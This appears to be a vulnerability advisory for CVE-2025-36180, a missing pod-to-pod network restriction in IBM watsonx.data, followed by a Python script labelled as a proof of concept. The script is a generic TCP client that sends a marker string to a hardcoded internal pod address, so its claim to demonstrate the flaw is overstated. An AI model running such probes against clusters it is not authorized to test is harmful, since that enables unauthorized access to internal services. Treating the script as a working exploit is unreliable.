IBM watsonx.data 2.2 through 2.3 IBM Lakehouse does not properly restrict communication between pods which could allow an attacker to transfer data between pods without restrictions.
The following code is for security research and authorized testing only.
python
# Proof of Concept Code for CVE-2025-36180
# This script simulates unauthorized data transfer between pods due to missing network restrictions.
import socket
import sys
def send_unrestricted_data(target_ip, target_port, message):
"""
Attempts to send data to a target pod that should be restricted.
"""
try:
print(f"[*] Attempting to connect to {target_ip}:{target_port}...")
# Create a socket object
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Set a timeout for the connection
client_socket.settimeout(5)
# Connect to the target pod
client_socket.connect((target_ip, target_port))
print("[+] Connection established successfully.")
# Send data (simulating unauthorized transfer)
client_socket.sendall(message.encode('utf-8'))
print(f"[+] Data sent: {message}")
# Receive response (optional)
response = client_socket.recv(1024)
print(f"[+] Response from pod: {response.decode('utf-8')}")
except socket.timeout:
print("[-] Connection timed out.")
except ConnectionRefusedError:
print("[-] Connection refused by the target.")
except Exception as e:
print(f"[-] An error occurred: {e}")
finally:
client_socket.close()
if __name__ == "__main__":
# Example usage
# Replace with actual target IP and Port discovered in the vulnerable environment
target = "10.244.1.5"
port = 8080
payload = "UNAUTHORIZED_DATA_TRANSFER"
send_unrestricted_data(target, port, payload)